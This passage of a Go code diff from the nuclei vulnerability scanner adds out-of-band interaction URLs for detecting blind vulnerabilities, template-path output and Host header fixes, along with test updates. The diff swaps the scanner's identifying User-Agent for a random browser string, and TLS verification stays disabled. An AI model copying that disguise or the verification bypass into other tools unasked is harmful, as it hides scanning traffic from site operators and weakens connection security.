-func newhttpClient(options *types.Options) (*http.Client, error) {
-	opts := fastdialer.DefaultOptions
-	if options.SystemResolvers {
-		opts.EnableFallback = true
-	}
-	if options.ResolversFile != "" {
-		opts.BaseResolvers = options.InternalResolversList
-	}
-	dialer, err := fastdialer.NewDialer(opts)
-	if err != nil {
-		return nil, errors.Wrap(err, "could not create dialer")
-	}
-
+func newhttpClient(options *types.Options) *http.Client {
+	dialer := protocolstate.Dialer
 	transport := &http.Transport{
 		DialContext:         dialer.Dial,
 		MaxIdleConns:        500,
@@ -34,5 +22,5 @@ func newhttpClient(options *types.Options) (*http.Client, error) {
 			InsecureSkipVerify: true,
 		},
 	}
-	return &http.Client{Transport: transport, Timeout: time.Duration(options.Timeout*3) * time.Second}, nil
+	return &http.Client{Transport: transport, Timeout: time.Duration(options.Timeout*3) * time.Second}
 }

v2/pkg/protocols/headless/engine/page.go

@@ -49,7 +49,6 @@ func (i *Instance) Run(baseURL *url.URL, actions []*Action, timeout time.Duratio
 	if err != nil {
 		return nil, nil, err
 	}
-
 	go router.Run()
 	data, err := createdPage.ExecuteActions(baseURL, actions)
 	if err != nil {

v2/pkg/protocols/headless/engine/page_actions_test.go

@@ -9,17 +9,21 @@ import (
 	"testing"
 	"time"
 
+	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/protocolstate"
 	"github.com/projectdiscovery/nuclei/v2/pkg/types"
 	"github.com/stretchr/testify/require"
 )
 
 func TestActionNavigate(t *testing.T) {
+	_ = protocolstate.Init(&types.Options{})
+
 	browser, err := New(&types.Options{ShowBrowser: false})
 	require.Nil(t, err, "could not create browser")
 	defer browser.Close()
 
 	instance, err := browser.NewInstance()
 	require.Nil(t, err, "could not create browser instance")
+	defer instance.Close()
 
 	ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
 		fmt.Fprintln(w, `
@@ -46,6 +50,8 @@ func TestActionNavigate(t *testing.T) {
 }
 
 func TestActionScript(t *testing.T) {
+	_ = protocolstate.Init(&types.Options{})
+
 	browser, err := New(&types.Options{ShowBrowser: false})
 	require.Nil(t, err, "could not create browser")
 	defer browser.Close()
@@ -113,6 +119,8 @@ func TestActionScript(t *testing.T) {
 }
 
 func TestActionClick(t *testing.T) {
+	_ = protocolstate.Init(&types.Options{})
+
 	browser, err := New(&types.Options{ShowBrowser: false})
 	require.Nil(t, err, "could not create browser")
 	defer browser.Close()
@@ -151,6 +159,8 @@ func TestActionClick(t *testing.T) {
 }
 
 func TestActionRightClick(t *testing.T) {
+	_ = protocolstate.Init(&types.Options{})
+
 	browser, err := New(&types.Options{ShowBrowser: false})
 	require.Nil(t, err, "could not create browser")
 	defer browser.Close()
@@ -197,6 +207,8 @@ func TestActionRightClick(t *testing.T) {
 }
 
 func TestActionTextInput(t *testing.T) {
+	_ = protocolstate.Init(&types.Options{})
+
 	browser, err := New(&types.Options{ShowBrowser: false})
 	require.Nil(t, err, "could not create browser")
 	defer browser.Close()
@@ -236,6 +248,8 @@ func TestActionTextInput(t *testing.T) {
 }
 
 func TestActionHeadersChange(t *testing.T) {
+	_ = protocolstate.Init(&types.Options{})
+
 	browser, err := New(&types.Options{ShowBrowser: false})
 	require.Nil(t, err, "could not create browser")
 	defer browser.Close()

v2/pkg/protocols/headless/operators.go

@@ -72,6 +72,7 @@ func (r *Request) responseToDSLMap(resp, req, host, matched string) output.Inter
 	data["data"] = resp
 	data["template-id"] = r.options.TemplateID
 	data["template-info"] = r.options.TemplateInfo
+	data["template-path"] = r.options.TemplatePath
 	return data
 }
 
@@ -106,6 +107,7 @@ func (r *Request) MakeResultEvent(wrapped *output.InternalWrappedEvent) []*outpu
 func (r *Request) makeResultEventItem(wrapped *output.InternalWrappedEvent) *output.ResultEvent {
 	data := &output.ResultEvent{
 		TemplateID:       types.ToString(wrapped.InternalEvent["template-id"]),
+		TemplatePath:     types.ToString(wrapped.InternalEvent["template-path"]),
 		Info:             wrapped.InternalEvent["template-info"].(map[string]interface{}),
 		Type:             "headless",
 		Host:             types.ToString(wrapped.InternalEvent["host"]),

v2/pkg/protocols/http/build_request.go

@@ -11,6 +11,7 @@ import (
 	"strings"
 	"time"
 
+	"github.com/corpix/uarand"
 	"github.com/pkg/errors"
 	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/expressions"
 	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/generators"
@@ -36,7 +37,7 @@ type generatedRequest struct {
 
 // Make creates a http request for the provided input.
 // It returns io.EOF as error when all the requests have been exhausted.
-func (r *requestGenerator) Make(baseURL string, dynamicValues map[string]interface{}) (*generatedRequest, error) {
+func (r *requestGenerator) Make(baseURL string, dynamicValues map[string]interface{}, interactURL string) (*generatedRequest, error) {
 	// We get the next payload for the request.
 	data, payloads, ok := r.nextValue()
 	if !ok {
@@ -64,9 +65,9 @@ func (r *requestGenerator) Make(baseURL string, dynamicValues map[string]interfa
 	// If data contains \n it's a raw request, process it like raw. Else
 	// continue with the template based request flow.
 	if isRawRequest {
-		return r.makeHTTPRequestFromRaw(ctx, parsedString, data, values, payloads)
+		return r.makeHTTPRequestFromRaw(ctx, parsedString, data, values, payloads, interactURL)
 	}
-	return r.makeHTTPRequestFromModel(ctx, data, values)
+	return r.makeHTTPRequestFromModel(ctx, data, values, interactURL)
 }
 
 // Total returns the total number of requests for the generator
@@ -95,8 +96,11 @@ func baseURLWithTemplatePrefs(data string, parsed *url.URL) (string, *url.URL) {
 }
 
 // MakeHTTPRequestFromModel creates a *http.Request from a request template
-func (r *requestGenerator) makeHTTPRequestFromModel(ctx context.Context, data string, values map[string]interface{}) (*generatedRequest, error) {
+func (r *requestGenerator) makeHTTPRequestFromModel(ctx context.Context, data string, values map[string]interface{}, interactURL string) (*generatedRequest, error) {
 	final := replacer.Replace(data, values)
+	if interactURL != "" {
+		final = r.options.Interactsh.ReplaceMarkers(final, interactURL)
+	}
 
 	// Build a request on the specified URL
 	req, err := http.NewRequestWithContext(ctx, r.request.Method, final, nil)
@@ -104,7 +108,7 @@ func (r *requestGenerator) makeHTTPRequestFromModel(ctx context.Context, data st
 		return nil, err
 	}
 
-	request, err := r.fillRequest(req, values)
+	request, err := r.fillRequest(req, values, interactURL)
 	if err != nil {
 		return nil, err
 	}
@@ -112,12 +116,15 @@ func (r *requestGenerator) makeHTTPRequestFromModel(ctx context.Context, data st
 }
 
 // makeHTTPRequestFromRaw creates a *http.Request from a raw request
-func (r *requestGenerator) makeHTTPRequestFromRaw(ctx context.Context, baseURL, data string, values, payloads map[string]interface{}) (*generatedRequest, error) {
-	return r.handleRawWithPaylods(ctx, data, baseURL, values, payloads)
+func (r *requestGenerator) makeHTTPRequestFromRaw(ctx context.Context, baseURL, data string, values, payloads map[string]interface{}, interactURL string) (*generatedRequest, error) {
+	if interactURL != "" {
+		data = r.options.Interactsh.ReplaceMarkers(data, interactURL)
+	}
+	return r.handleRawWithPayloads(ctx, data, baseURL, values, payloads)
 }
 
-// handleRawWithPaylods handles raw requests along with paylaods
-func (r *requestGenerator) handleRawWithPaylods(ctx context.Context, rawRequest, baseURL string, values, generatorValues map[string]interface{}) (*generatedRequest, error) {
+// handleRawWithPayloads handles raw requests along with payloads
+func (r *requestGenerator) handleRawWithPayloads(ctx context.Context, rawRequest, baseURL string, values, generatorValues map[string]interface{}) (*generatedRequest, error) {
 	// Combine the template payloads along with base
 	// request values.
 	finalValues := generators.MergeMaps(generatorValues, values)
@@ -157,8 +164,11 @@ func (r *requestGenerator) handleRawWithPaylods(ctx context.Context, rawRequest,
 			continue
 		}
 		req.Header[key] = []string{value}
+		if key == "Host" {
+			req.Host = value
+		}
 	}
-	request, err := r.fillRequest(req, values)
+	request, err := r.fillRequest(req, values, "")
 	if err != nil {
 		return nil, err
 	}
@@ -167,10 +177,16 @@ func (r *requestGenerator) handleRawWithPaylods(ctx context.Context, rawRequest,
 }
 
 // fillRequest fills various headers in the request with values
-func (r *requestGenerator) fillRequest(req *http.Request, values map[string]interface{}) (*retryablehttp.Request, error) {
+func (r *requestGenerator) fillRequest(req *http.Request, values map[string]interface{}, interactURL string) (*retryablehttp.Request, error) {
 	// Set the header values requested
 	for header, value := range r.request.Headers {
+		if interactURL != "" {
+			value = r.options.Interactsh.ReplaceMarkers(value, interactURL)
+		}
 		req.Header[header] = []string{replacer.Replace(value, values)}
+		if header == "Host" {
+			req.Host = replacer.Replace(value, values)
+		}
 	}
 
 	// In case of multiple threads the underlying connection should remain open to allow reuse
@@ -180,9 +196,13 @@ func (r *requestGenerator) fillRequest(req *http.Request, values map[string]inte
 
 	// Check if the user requested a request body
 	if r.request.Body != "" {
-		req.Body = ioutil.NopCloser(strings.NewReader(r.request.Body))
+		body := r.request.Body
+		if interactURL != "" {
+			body = r.options.Interactsh.ReplaceMarkers(body, interactURL)
+		}
+		req.Body = ioutil.NopCloser(strings.NewReader(body))
 	}
-	setHeader(req, "User-Agent", "Nuclei - Open-source project (github.com/projectdiscovery/nuclei)")
+	setHeader(req, "User-Agent", uarand.GetRandom())
 
 	// Only set these headers on non raw requests
 	if len(r.request.Raw) == 0 {
@@ -197,4 +217,7 @@ func setHeader(req *http.Request, name, value string) {
 	if _, ok := req.Header[name]; !ok {
 		req.Header.Set(name, value)
 	}
+	if name == "Host" {
+		req.Host = value
+	}
 }

v2/pkg/protocols/http/build_request_test.go

@@ -42,7 +42,7 @@ func TestMakeRequestFromModal(t *testing.T) {
 	require.Nil(t, err, "could not compile http request")
 
 	generator := request.newGenerator()
-	req, err := generator.Make("https://example.com", map[string]interface{}{})
+	req, err := generator.Make("https://example.com", map[string]interface{}{}, "")
 	require.Nil(t, err, "could not make http request")
 
 	bodyBytes, _ := req.request.BodyBytes()
@@ -69,12 +69,12 @@ func TestMakeRequestFromModalTrimSuffixSlash(t *testing.T) {
 	require.Nil(t, err, "could not compile http request")
 
 	generator := request.newGenerator()
-	req, err := generator.Make("https://example.com/test.php", map[string]interface{}{})
+	req, err := generator.Make("https://example.com/test.php", map[string]interface{}{}, "")
 	require.Nil(t, err, "could not make http request")
 	require.Equal(t, "https://example.com/test.php?query=example", req.request.URL.String(), "could not get correct request path")
 
 	generator = request.newGenerator()
-	req, err = generator.Make("https://example.com/test/", map[string]interface{}{})
+	req, err = generator.Make("https://example.com/test/", map[string]interface{}{}, "")
 	require.Nil(t, err, "could not make http request")
 	require.Equal(t, "https://example.com/test/?query=example", req.request.URL.String(), "could not get correct request path")
 }
@@ -107,12 +107,12 @@ Accept-Encoding: gzip`},
 	require.Nil(t, err, "could not compile http request")
 
 	generator := request.newGenerator()
-	req, err := generator.Make("https://example.com", map[string]interface{}{})
+	req, err := generator.Make("https://example.com", map[string]interface{}{}, "")
 	require.Nil(t, err, "could not make http request")
 	authorization := req.request.Header.Get("Authorization")
 	require.Equal(t, "Basic admin:admin", authorization, "could not get correct authorization headers from raw")
 
-	req, err = generator.Make("https://example.com", map[string]interface{}{})
+	req, err = generator.Make("https://example.com", map[string]interface{}{}, "")
 	require.Nil(t, err, "could not make http request")
 	authorization = req.request.Header.Get("Authorization")
 	require.Equal(t, "Basic admin:guest", authorization, "could not get correct authorization headers from raw")
@@ -146,12 +146,12 @@ Accept-Encoding: gzip`},
 	require.Nil(t, err, "could not compile http request")
 
 	generator := request.newGenerator()
-	req, err := generator.Make("https://example.com", map[string]interface{}{})
+	req, err := generator.Make("https://example.com", map[string]interface{}{}, "")
 	require.Nil(t, err, "could not make http request")
 	authorization := req.request.Header.Get("Authorization")
 	require.Equal(t, "Basic YWRtaW46YWRtaW4=", authorization, "could not get correct authorization headers from raw")
 
-	req, err = generator.Make("https://example.com", map[string]interface{}{})
+	req, err = generator.Make("https://example.com", map[string]interface{}{}, "")
 	require.Nil(t, err, "could not make http request")
 	authorization = req.request.Header.Get("Authorization")
 	require.Equal(t, "Basic YWRtaW46Z3Vlc3Q=", authorization, "could not get correct authorization headers from raw")

v2/pkg/protocols/http/cluster.go

@@ -10,7 +10,7 @@ import (
 // are similar enough to be considered one and can be checked by
 // just adding the matcher/extractors for the request and the correct IDs.
 func (r *Request) CanCluster(other *Request) bool {
-	if len(r.Payloads) > 0 || len(r.Raw) > 0 || len(r.Body) > 0 || r.Unsafe {
+	if len(r.Payloads) > 0 || len(r.Raw) > 0 || len(r.Body) > 0 || r.Unsafe || r.ReqCondition || r.Name != "" {
 		return false
 	}
 	if r.Method != other.Method ||

v2/pkg/protocols/http/http.go

@@ -3,7 +3,6 @@ package http
 import (
 	"strings"
 
-	"github.com/corpix/uarand"
 	"github.com/pkg/errors"
 	"github.com/projectdiscovery/nuclei/v2/pkg/operators"
 	"github.com/projectdiscovery/nuclei/v2/pkg/protocols"
@@ -102,10 +101,6 @@ func (r *Request) Compile(options *protocols.ExecuterOptions) error {
 		}
 		r.customHeaders[parts[0]] = strings.TrimSpace(parts[1])
 	}
-	// Add User-Agent value randomly to the customHeaders slice if `random-agent` flag is given
-	if r.options.Options.RandomAgent {
-		r.customHeaders["User-Agent"] = uarand.GetRandom()
-	}
 
 	if r.Body != "" && !strings.Contains(r.Body, "\r\n") {
 		r.Body = strings.ReplaceAll(r.Body, "\n", "\r\n")
@@ -116,7 +111,7 @@ func (r *Request) Compile(options *protocols.ExecuterOptions) error {
 				r.Raw[i] = strings.ReplaceAll(raw, "\n", "\r\n")
 			}
 		}
-		r.rawhttpClient = httpclientpool.GetRawHTTP()
+		r.rawhttpClient = httpclientpool.GetRawHTTP(options.Options)
 	}
 	if len(r.Matchers) > 0 || len(r.Extractors) > 0 {
 		compiled := &r.Operators

v2/pkg/protocols/http/httpclientpool/clientpool.go

@@ -15,6 +15,7 @@ import (
 
 	"github.com/pkg/errors"
 	"github.com/projectdiscovery/fastdialer/fastdialer"
+	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/protocolstate"
 	"github.com/projectdiscovery/nuclei/v2/pkg/types"
 	"github.com/projectdiscovery/rawhttp"
 	"github.com/projectdiscovery/retryablehttp-go"
@@ -23,7 +24,9 @@ import (
 )
 
 var (
-	Dialer        *fastdialer.Dialer
+	// Dialer is a copy of the fastdialer from protocolstate
+	Dialer *fastdialer.Dialer
+
 	rawhttpClient *rawhttp.Client
 	poolMutex     *sync.RWMutex
 	normalClient  *retryablehttp.Client
@@ -76,9 +79,11 @@ func (c *Configuration) Hash() string {
 }
 
 // GetRawHTTP returns the rawhttp request client
-func GetRawHTTP() *rawhttp.Client {
+func GetRawHTTP(options *types.Options) *rawhttp.Client {
 	if rawhttpClient == nil {
-		rawhttpClient = rawhttp.NewClient(rawhttp.DefaultOptions)
+		rawhttpOptions := rawhttp.DefaultOptions
+		rawhttpOptions.Timeout = time.Duration(options.Timeout) * time.Second
+		rawhttpClient = rawhttp.NewClient(rawhttpOptions)
 	}
 	return rawhttpClient
 }
@@ -91,23 +96,13 @@ func Get(options *types.Options, configuration *Configuration) (*retryablehttp.C
 	return wrappedGet(options, configuration)
 }
 
-// wrappedGet wraps a get operation without normal cliet check
+// wrappedGet wraps a get operation without normal client check
 func wrappedGet(options *types.Options, configuration *Configuration) (*retryablehttp.Client, error) {
 	var proxyURL *url.URL
 	var err error
 
 	if Dialer == nil {
-		opts := fastdialer.DefaultOptions
-		if options.SystemResolvers {
-			opts.EnableFallback = true
-		}
-		if options.ResolversFile != "" {
-			opts.BaseResolvers = options.InternalResolversList
-		}
-		Dialer, err = fastdialer.NewDialer(opts)
-	}
-	if err != nil {
-		return nil, errors.Wrap(err, "could not create dialer")
+		Dialer = protocolstate.Dialer
 	}
 
 	hash := configuration.Hash()

v2/pkg/protocols/http/operators.go

@@ -105,14 +105,16 @@ func (r *Request) responseToDSLMap(resp *http.Response, host, matched, rawReq, r
 	data["duration"] = duration.Seconds()
 	data["template-id"] = r.options.TemplateID
 	data["template-info"] = r.options.TemplateInfo
+	data["template-path"] = r.options.TemplatePath
 	return data
 }
 
 // MakeResultEvent creates a result event from internal wrapped event
 func (r *Request) MakeResultEvent(wrapped *output.InternalWrappedEvent) []*output.ResultEvent {
-	if len(wrapped.OperatorsResult.DynamicValues) > 0 {
+	if len(wrapped.OperatorsResult.DynamicValues) > 0 && !wrapped.OperatorsResult.Matched {
 		return nil
 	}
+
 	results := make([]*output.ResultEvent, 0, len(wrapped.OperatorsResult.Matches)+1)
 
 	// If we have multiple matchers with names, write each of them separately.
@@ -139,6 +141,7 @@ func (r *Request) MakeResultEvent(wrapped *output.InternalWrappedEvent) []*outpu
 func (r *Request) makeResultEventItem(wrapped *output.InternalWrappedEvent) *output.ResultEvent {
 	data := &output.ResultEvent{
 		TemplateID:       types.ToString(wrapped.InternalEvent["template-id"]),
+		TemplatePath:     types.ToString(wrapped.InternalEvent["template-path"]),
 		Info:             wrapped.InternalEvent["template-info"].(map[string]interface{}),
 		Type:             "http",
 		Host:             types.ToString(wrapped.InternalEvent["host"]),

v2/pkg/protocols/http/operators_test.go

@@ -38,7 +38,7 @@ func TestResponseToDSLMap(t *testing.T) {
 	matched := "http://example.com/test/?test=1"
 
 	event := request.responseToDSLMap(resp, host, matched, exampleRawRequest, exampleRawResponse, exampleResponseBody, exampleResponseHeader, 1*time.Second, map[string]interface{}{})
-	require.Len(t, event, 12, "could not get correct number of items in dsl map")
+	require.Len(t, event, 13, "could not get correct number of items in dsl map")
 	require.Equal(t, exampleRawResponse, event["response"], "could not get correct resp")
 	require.Equal(t, "Test-Response", event["test"], "could not get correct resp for header")
 }
@@ -68,7 +68,7 @@ func TestHTTPOperatorMatch(t *testing.T) {
 	matched := "http://example.com/test/?test=1"
 
 	event := request.responseToDSLMap(resp, host, matched, exampleRawRequest, exampleRawResponse, exampleResponseBody, exampleResponseHeader, 1*time.Second, map[string]interface{}{})
-	require.Len(t, event, 12, "could not get correct number of items in dsl map")
+	require.Len(t, event, 13, "could not get correct number of items in dsl map")
 	require.Equal(t, exampleRawResponse, event["response"], "could not get correct resp")
 	require.Equal(t, "Test-Response", event["test"], "could not get correct resp for header")
 
@@ -138,7 +138,7 @@ func TestHTTPOperatorExtract(t *testing.T) {
 	matched := "http://example.com/test/?test=1"
 
 	event := request.responseToDSLMap(resp, host, matched, exampleRawRequest, exampleRawResponse, exampleResponseBody, exampleResponseHeader, 1*time.Second, map[string]interface{}{})
-	require.Len(t, event, 12, "could not get correct number of items in dsl map")
+	require.Len(t, event, 13, "could not get correct number of items in dsl map")
 	require.Equal(t, exampleRawResponse, event["response"], "could not get correct resp")
 	require.Equal(t, "Test-Response", event["test_header"], "could not get correct resp for header")
 
@@ -208,7 +208,7 @@ func TestHTTPMakeResult(t *testing.T) {
 	matched := "http://example.com/test/?test=1"
 
 	event := request.responseToDSLMap(resp, host, matched, exampleRawRequest, exampleRawResponse, exampleResponseBody, exampleResponseHeader, 1*time.Second, map[string]interface{}{})
-	require.Len(t, event, 12, "could not get correct number of items in dsl map")
+	require.Len(t, event, 13, "could not get correct number of items in dsl map")
 	require.Equal(t, exampleRawResponse, event["response"], "could not get correct resp")
 	require.Equal(t, "Test-Response", event["test"], "could not get correct resp for header")
 

v2/pkg/protocols/http/raw/raw.go

@@ -5,7 +5,6 @@ import (
 	"fmt"
 	"io"
 	"io/ioutil"
-	"net"
 	"net/url"
 	"strings"
 
@@ -100,20 +99,11 @@ func Parse(request, baseURL string, unsafe bool) (*Request, error) {
 		rawRequest.Path = parts[1]
 	}
 
-	// If raw request doesn't have a Host header and/ path,
-	// this will be generated from the parsed baseURL
 	parsedURL, err := url.Parse(baseURL)
 	if err != nil {
 		return nil, fmt.Errorf("could not parse request URL: %s", err)
 	}
-
-	templateHost := rawRequest.Headers["Host"]
 	hostURL := parsedURL.Host
-
-	if strings.Contains(templateHost, ":") {
-		_, templatePort, _ := net.SplitHostPort(templateHost)
-		hostURL = net.JoinHostPort(parsedURL.Hostname(), templatePort)
-	}
 	if strings.HasSuffix(parsedURL.Path, "/") && strings.HasPrefix(rawRequest.Path, "/") {
 		parsedURL.Path = strings.TrimSuffix(parsedURL.Path, "/")
 	}
@@ -123,6 +113,12 @@ func Parse(request, baseURL string, unsafe bool) (*Request, error) {
 	}
 	rawRequest.FullURL = fmt.Sprintf("%s://%s%s", parsedURL.Scheme, strings.TrimSpace(hostURL), rawRequest.Path)
 
+	// If raw request doesn't have a Host header
+	// this will be generated from the parsed baseURL
+	if rawRequest.Headers["Host"] == "" {
+		rawRequest.Headers["Host"] = hostURL
+	}
+
 	// Set the request body
 	b, err := ioutil.ReadAll(reader)
 	if err != nil {

v2/pkg/protocols/http/raw/raw_test.go

@@ -15,7 +15,7 @@ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
 Accept-Language: en-US,en;q=0.9`, "https://example.com:8080", false)
 	require.Nil(t, err, "could not parse GET request")
-	require.Equal(t, "https://example.com:123/gg/phpinfo.php", request.FullURL, "Could not parse request url correctly")
+	require.Equal(t, "https://example.com:8080/gg/phpinfo.php", request.FullURL, "Could not parse request url correctly")
 	require.Equal(t, "/gg/phpinfo.php", request.Path, "Could not parse request path correctly")
 
 	t.Run("path-suffix", func(t *testing.T) {
@@ -29,17 +29,17 @@ Host: {{Hostname}}`, "https://example.com:8080/test", false)
 		request, err := Parse(`GET ?username=test&password=test HTTP/1.1
 Host: {{Hostname}}:123`, "https://example.com:8080/test", false)
 		require.Nil(t, err, "could not parse GET request")
-		require.Equal(t, "https://example.com:123/test?username=test&password=test", request.FullURL, "Could not parse request url correctly")
+		require.Equal(t, "https://example.com:8080/test?username=test&password=test", request.FullURL, "Could not parse request url correctly")
 
 		request, err = Parse(`GET ?username=test&password=test HTTP/1.1
 Host: {{Hostname}}:123`, "https://example.com:8080/test/", false)
 		require.Nil(t, err, "could not parse GET request")
-		require.Equal(t, "https://example.com:123/test/?username=test&password=test", request.FullURL, "Could not parse request url correctly")
+		require.Equal(t, "https://example.com:8080/test/?username=test&password=test", request.FullURL, "Could not parse request url correctly")
 
 		request, err = Parse(`GET /?username=test&password=test HTTP/1.1
 		Host: {{Hostname}}:123`, "https://example.com:8080/test/", false)
 		require.Nil(t, err, "could not parse GET request")
-		require.Equal(t, "https://example.com:123/test/?username=test&password=test", request.FullURL, "Could not parse request url correctly")
+		require.Equal(t, "https://example.com:8080/test/?username=test&password=test", request.FullURL, "Could not parse request url correctly")
 	})
 }
 

v2/pkg/protocols/http/request.go

@@ -17,9 +17,11 @@ import (
 	"github.com/projectdiscovery/nuclei/v2/pkg/output"
 	"github.com/projectdiscovery/nuclei/v2/pkg/protocols"
 	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/generators"
+	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/interactsh"
 	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/tostring"
 	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/http/httpclientpool"
 	"github.com/projectdiscovery/rawhttp"
+	"github.com/projectdiscovery/stringsutil"
 	"github.com/remeh/sizedwaitgroup"
 	"go.uber.org/multierr"
 )
@@ -33,7 +35,7 @@ func (r *Request) executeRaceRequest(reqURL string, previous output.InternalEven
 	// Requests within race condition should be dumped once and the output prefilled to allow DSL language to work
 	// This will introduce a delay and will populate in hacky way the field "request" of outputEvent
 	generator := r.newGenerator()
-	requestForDump, err := generator.Make(reqURL, nil)
+	requestForDump, err := generator.Make(reqURL, nil, "")
 	if err != nil {
 		return err
 	}
@@ -51,7 +53,7 @@ func (r *Request) executeRaceRequest(reqURL string, previous output.InternalEven
 	// Pre-Generate requests
 	for i := 0; i < r.RaceNumberRequests; i++ {
 		generator := r.newGenerator()
-		request, err := generator.Make(reqURL, nil)
+		request, err := generator.Make(reqURL, nil, "")
 		if err != nil {
 			return err
 		}
@@ -80,7 +82,7 @@ func (r *Request) executeRaceRequest(reqURL string, previous output.InternalEven
 }
 
 // executeRaceRequest executes parallel requests for a template
-func (r *Request) executeParallelHTTP(reqURL string, dynamicValues, previous output.InternalEvent, callback protocols.OutputEventCallback) error {
+func (r *Request) executeParallelHTTP(reqURL string, dynamicValues output.InternalEvent, callback protocols.OutputEventCallback) error {
 	generator := r.newGenerator()
 
 	// Workers that keeps enqueuing new requests
@@ -90,7 +92,7 @@ func (r *Request) executeParallelHTTP(reqURL string, dynamicValues, previous out
 	var requestErr error
 	mutex := &sync.Mutex{}
 	for {
-		request, err := generator.Make(reqURL, dynamicValues)
+		request, err := generator.Make(reqURL, dynamicValues, "")
 		if err == io.EOF {
 			break
 		}
@@ -103,6 +105,8 @@ func (r *Request) executeParallelHTTP(reqURL string, dynamicValues, previous out
 			defer swg.Done()
 
 			r.options.RateLimiter.Take()
+
+			previous := make(map[string]interface{})
 			err := r.executeRequest(reqURL, httpRequest, previous, callback, 0)
 			mutex.Lock()
 			if err != nil {
@@ -116,7 +120,7 @@ func (r *Request) executeParallelHTTP(reqURL string, dynamicValues, previous out
 	return requestErr
 }
 
-// executeRaceRequest executes turbo http request for a URL
+// executeTurboHTTP executes turbo http request for a URL
 func (r *Request) executeTurboHTTP(reqURL string, dynamicValues, previous output.InternalEvent, callback protocols.OutputEventCallback) error {
 	generator := r.newGenerator()
 
@@ -148,7 +152,7 @@ func (r *Request) executeTurboHTTP(reqURL string, dynamicValues, previous output
 	var requestErr error
 	mutex := &sync.Mutex{}
 	for {
-		request, err := generator.Make(reqURL, dynamicValues)
+		request, err := generator.Make(reqURL, dynamicValues, "")
 		if err == io.EOF {
 			break
 		}
@@ -189,7 +193,7 @@ func (r *Request) ExecuteWithResults(reqURL string, dynamicValues, previous outp
 
 	// verify if parallel elaboration was requested
 	if r.Threads > 0 {
-		return r.executeParallelHTTP(reqURL, dynamicValues, previous, callback)
+		return r.executeParallelHTTP(reqURL, dynamicValues, callback)
 	}
 
 	generator := r.newGenerator()
@@ -197,7 +201,13 @@ func (r *Request) ExecuteWithResults(reqURL string, dynamicValues, previous outp
 	requestCount := 1
 	var requestErr error
 	for {
-		request, err := generator.Make(reqURL, dynamicValues)
+		hasInteractMarkers := interactsh.HasMatchers(r.CompiledOperators)
+
+		var interactURL string
+		if r.options.Interactsh != nil && hasInteractMarkers {
+			interactURL = r.options.Interactsh.URL()
+		}
+		request, err := generator.Make(reqURL, dynamicValues, interactURL)
 		if err == io.EOF {
 			break
 		}
@@ -214,7 +224,17 @@ func (r *Request) ExecuteWithResults(reqURL string, dynamicValues, previous outp
 				gotOutput = true
 				dynamicValues = generators.MergeMaps(dynamicValues, event.OperatorsResult.DynamicValues)
 			}
-			callback(event)
+			if hasInteractMarkers && r.options.Interactsh != nil {
+				r.options.Interactsh.RequestEvent(interactURL, &interactsh.RequestData{
+					MakeResultFunc: r.MakeResultEvent,
+					Event:          event,
+					Operators:      r.CompiledOperators,
+					MatchFunc:      r.Match,
+					ExtractFunc:    r.Extract,
+				})
+			} else {
+				callback(event)
+			}
 		}, requestCount)
 		if err != nil {
 			requestErr = multierr.Append(requestErr, err)
@@ -243,28 +263,19 @@ func (r *Request) executeRequest(reqURL string, request *generatedRequest, previ
 		err           error
 	)
 
-	// For race conditions we can't dump the request body at this point as it's already waiting the open-gate event, already handled with a similar code within the race function
-	if !request.original.Race {
-		dumpedRequest, err = dump(request, reqURL)
-		if err != nil {
-			return err
-		}
-
-		if r.options.Options.Debug || r.options.Options.DebugRequests {
-			gologger.Info().Msgf("[%s] Dumped HTTP request for %s\n\n", r.options.TemplateID, reqURL)
-			gologger.Print().Msgf("%s", string(dumpedRequest))
-		}
-	}
-
 	var formedURL string
 	var hostname string
 	timeStart := time.Now()
 	if request.original.Pipeline {
-		formedURL = request.rawRequest.FullURL
-		if parsed, parseErr := url.Parse(formedURL); parseErr == nil {
-			hostname = parsed.Host
+		if request.rawRequest != nil {
+			formedURL = request.rawRequest.FullURL
+			if parsed, parseErr := url.Parse(formedURL); parseErr == nil {
+				hostname = parsed.Host
+			}
+			resp, err = request.pipelinedClient.DoRaw(request.rawRequest.Method, reqURL, request.rawRequest.Path, generators.ExpandMapValues(request.rawRequest.Headers), ioutil.NopCloser(strings.NewReader(request.rawRequest.Data)))
+		} else if request.request != nil {
+			resp, err = request.pipelinedClient.Dor(request.request)
 		}
-		resp, err = request.pipelinedClient.DoRaw(request.rawRequest.Method, reqURL, request.rawRequest.Path, generators.ExpandMapValues(request.rawRequest.Headers), ioutil.NopCloser(strings.NewReader(request.rawRequest.Data)))
 	} else if request.original.Unsafe && request.rawRequest != nil {
 		formedURL = request.rawRequest.FullURL
 		if parsed, parseErr := url.Parse(formedURL); parseErr == nil {
@@ -290,6 +301,20 @@ func (r *Request) executeRequest(reqURL string, request *generatedRequest, previ
 			resp, err = r.httpClient.Do(request.request)
 		}
 	}
+
+	// For race conditions we can't dump the request body at this point as it's already waiting the open-gate event, already handled with a similar code within the race function
+	if !request.original.Race {
+		dumpedRequest, err = dump(request, reqURL)
+		if err != nil {
+			return err
+		}
+
+		if r.options.Options.Debug || r.options.Options.DebugRequests {
+			gologger.Info().Msgf("[%s] Dumped HTTP request for %s\n\n", r.options.TemplateID, reqURL)
+			gologger.Print().Msgf("%s", string(dumpedRequest))
+		}
+	}
+
 	if resp == nil {
 		err = errors.New("no response got for request")
 	}
@@ -326,7 +351,12 @@ func (r *Request) executeRequest(reqURL string, request *generatedRequest, previ
 	}
 	data, err := ioutil.ReadAll(bodyReader)
 	if err != nil {
-		return errors.Wrap(err, "could not read http body")
+		// Ignore body read due to server misconfiguration errors
+		if stringsutil.ContainsAny(err.Error(), "gzip: invalid header") {
+			gologger.Warning().Msgf("[%s] Server sent an invalid gzip header and it was not possible to read the uncompressed body for %s: %s", r.options.TemplateID, formedURL, err.Error())
